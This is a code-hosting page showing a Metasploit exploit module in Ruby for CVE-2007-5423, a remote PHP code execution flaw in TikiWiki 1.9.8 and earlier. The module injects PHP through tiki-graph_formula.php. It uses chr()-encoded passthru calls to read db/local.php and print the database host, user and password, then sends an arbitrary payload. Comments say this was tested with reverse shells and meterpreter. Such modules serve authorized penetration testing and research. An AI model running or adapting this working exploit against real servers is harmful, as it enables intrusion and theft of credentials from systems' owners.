PageRenderTime 54ms CodeModel.GetById 26ms RepoModel.GetById 0ms app.codeStats 0ms

/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb

https://gitlab.com/JakenHerman/metasploit-framework
Ruby | 227 lines | 214 code | 4 blank | 9 comment | 0 complexity | 9eda195509a8f67ed0037870ac1f9724 MD5 | raw file
Possible License(s): Apache-2.0, GPL-3.0, GPL-2.0, LGPL-2.1, BSD-3-Clause
  1. ##
  2. # This module requires Metasploit: http://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. require 'msf/core'
  6. class Metasploit3 < Msf::Exploit::Remote
  7. Rank = ExcellentRanking
  8. include Msf::Exploit::Remote::HttpClient
  9. def initialize(info = {})
  10. super(update_info(info,
  11. 'Name' => 'TikiWiki tiki-graph_formula Remote PHP Code Execution',
  12. 'Description' => %q{
  13. TikiWiki (<= 1.9.8) contains a flaw that may allow a remote
  14. attacker to execute arbitrary PHP code. The issue is due to
  15. 'tiki-graph_formula.php' script not properly sanitizing user
  16. input supplied to create_function(), which may allow a remote
  17. attacker to execute arbitrary PHP code resulting in a loss of
  18. integrity.
  19. },
  20. 'Author' => [ 'Matteo Cantoni <goony[at]nothink.org>', 'jduck' ],
  21. 'License' => MSF_LICENSE,
  22. 'References' =>
  23. [
  24. ['CVE', '2007-5423'],
  25. ['OSVDB', '40478'],
  26. ['BID', '26006'],
  27. ],
  28. 'Privileged' => false,
  29. 'Payload' =>
  30. {
  31. 'DisableNops' => true,
  32. # 6k. Really it's the max length of a URI minus the junk
  33. # we have to put in the request to trigger the
  34. # vulnerability. On Apache, 8190 is the max, so this
  35. # should be a pretty safe value.
  36. 'Space' => 6144,
  37. # Yes, 'x' is a badchar. The vulnerable code replaces it with '$x'.
  38. 'BadChars' => "`\"' %&x",
  39. },
  40. 'Platform' => 'php',
  41. 'Arch' => ARCH_PHP,
  42. 'Targets' => [[ 'Automatic', { }]],
  43. 'DisclosureDate' => 'Oct 10 2007',
  44. 'DefaultTarget' => 0))
  45. register_options(
  46. [
  47. OptString.new('URI', [true, "TikiWiki directory path", "/tikiwiki"]),
  48. ], self.class)
  49. end
  50. def check
  51. res = send_request_raw(
  52. {
  53. 'uri' => normalize_uri(datastore['URI'], "/tiki-index.php"),
  54. 'method' => 'GET',
  55. 'headers' =>
  56. {
  57. 'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
  58. 'Connection' => 'Close',
  59. }
  60. }, 5)
  61. http_fingerprint({ :response => res }) # check method
  62. if (res and res.code == 200 and res.body.match(/TikiWiki v?([0-9\.]*)/))
  63. ver = $1
  64. #print_status("Detected TikiWiki version #{ver}")
  65. ver = ver.split('.')
  66. return Exploit::CheckCode::Safe if (ver[0] != '1')
  67. return Exploit::CheckCode::Safe if (ver[1] != '9')
  68. if (ver.length > 2)
  69. ver2 = ver[2].to_i
  70. if (ver.length > 3)
  71. ver3 = ver[3].to_i
  72. else
  73. ver3 = 0
  74. end
  75. return Exploit::CheckCode::Safe if (ver2 > 8)
  76. return Exploit::CheckCode::Safe if (ver2 == 8 and ver3 > 0)
  77. end
  78. return Exploit::CheckCode::Appears
  79. end
  80. Exploit::CheckCode::Safe
  81. end
  82. def exploit
  83. print_status("Attempting to obtain database credentials...")
  84. url_db_local = build_uri("passthru(" +
  85. "chr(101).chr(99).chr(104).chr(111).chr(32).chr(89).chr(89).chr(89)." + # echo YYY
  86. "chr(59)." + # ;
  87. # cat db/local.php
  88. "chr(99).chr(97).chr(116).chr(32).chr(100).chr(98).chr(47).chr(108).chr(111).chr(99).chr(97).chr(108).chr(46).chr(112).chr(104).chr(112)." +
  89. "chr(59)." + # ;
  90. "chr(101).chr(99).chr(104).chr(111).chr(32).chr(89).chr(89).chr(89)" + # echo YYY
  91. ")")
  92. res = send_request_raw({
  93. 'uri' => url_db_local,
  94. 'method' => 'GET',
  95. 'headers' =>
  96. {
  97. 'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
  98. 'Connection' => 'Close',
  99. }
  100. }, 5)
  101. if (res and res.message == "OK" and res.body)
  102. print_status("The server returned : #{res.code} #{res.message}")
  103. print_status("Server version : #{res.headers['Server']}")
  104. db_tiki = res.body.match(/db_tiki='(.*?)';/m)
  105. if (db_tiki)
  106. dbversion = res.body.match(/dbversion_tiki='(.*?)';/m)
  107. host_tiki = res.body.match(/host_tiki='(.*?)';/m)
  108. user_tiki = res.body.match(/user_tiki='(.*?)';/m)
  109. pass_tiki = res.body.match(/pass_tiki='(.*?)';/m)
  110. dbs_tiki = res.body.match(/dbs_tiki='(.*?)';/m)
  111. print_status("TikiWiki database informations : \n")
  112. print("db_tiki : " + db_tiki[1] + "\n")
  113. print("dbversion : " + dbversion[1] + "\n")
  114. print("host_tiki : " + host_tiki[1] + "\n")
  115. print("user_tiki : " + user_tiki[1] + "\n")
  116. print("pass_tiki : " + pass_tiki[1] + "\n")
  117. print("dbs_tiki : " + dbs_tiki[1] + "\n\n")
  118. end
  119. else
  120. print_status("No response from the server")
  121. end
  122. print_status("Attempting to execute our payload...")
  123. command = Rex::Text.uri_encode(payload.encoded)
  124. url_cmd = build_uri(payload.encoded)
  125. res = send_request_raw({
  126. 'uri' => url_cmd,
  127. 'method' => 'GET',
  128. 'headers' =>
  129. {
  130. 'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
  131. 'Connection' => 'Close',
  132. }
  133. }, 5)
  134. end
  135. #
  136. # This function will build a fairly randomish query string to be used
  137. # when exploiting this vulnerability :)
  138. #
  139. def build_uri(f_val)
  140. uri = normalize_uri(datastore['URI'], "/tiki-graph_formula.php?")
  141. # Requirements:
  142. query = ''
  143. # 1. w,h,s,min,max must all be numeric
  144. vars = %w{ w h s min max }
  145. min = nil
  146. vars.each { |el|
  147. query << "&" if query.length > 0
  148. num = 1+rand(999)
  149. # 2. min must be less than max
  150. case el
  151. when 's'
  152. num = 1+rand(500)
  153. when 'min'
  154. if (min)
  155. num = min
  156. else
  157. min = num
  158. end
  159. when 'max'
  160. min ||= num
  161. num = min + 1 + rand(99)
  162. end
  163. query << "#{el}=#{num}"
  164. }
  165. # 3. cannot use `, ', ", or space
  166. if (f_val.index('\'') or f_val.index('"') or f_val.index('`') or f_val.index(' '))
  167. fail_with(Failure::Unknown, "The value for the 'f' variable contains an invalid character!")
  168. end
  169. # 4. the function must be one of:
  170. valid = %w{
  171. abs acos acosh asin asinh atan2 atan atanh ceil cos cosh deg2rad
  172. exp expm1 floor fmod hypot log10 log1p log max min pi pow rad2deg round sin
  173. sinh sqrt tan tanh
  174. }
  175. func = valid[rand(valid.length)]
  176. # 5. f must be an array
  177. query << "&" if query.length > 0
  178. # Strip off the semi-colon that the encoder insists on including.
  179. if f_val[-1,1] == ";"
  180. f_val = f_val[0,f_val.length-1]
  181. end
  182. query << "f[]=x.#{func}.#{f_val}"
  183. # This doesn't seem to be necessary on PHP 5.2.4, tikiwiki 1.9.5
  184. # Tested with php/reverse_php, php/meterpreter_reverse_tcp, and
  185. # php/meterpreter/reverse_tcp
  186. # -egypt
  187. # If we dont kill php here it spins eating 100% cpu :-/
  188. #query << '.die()'
  189. # 6. two options for 't' - png and pdf
  190. # - png requires php's gd extension
  191. # - pdf, if you set 'p', requires php pdf extension
  192. # -- we always use 'pdf' with a null 'p'
  193. query << "&" if query.length > 0
  194. query << 't=pdf'
  195. # 7. title must be set
  196. query << '&title='
  197. uri << query
  198. uri
  199. end
  200. end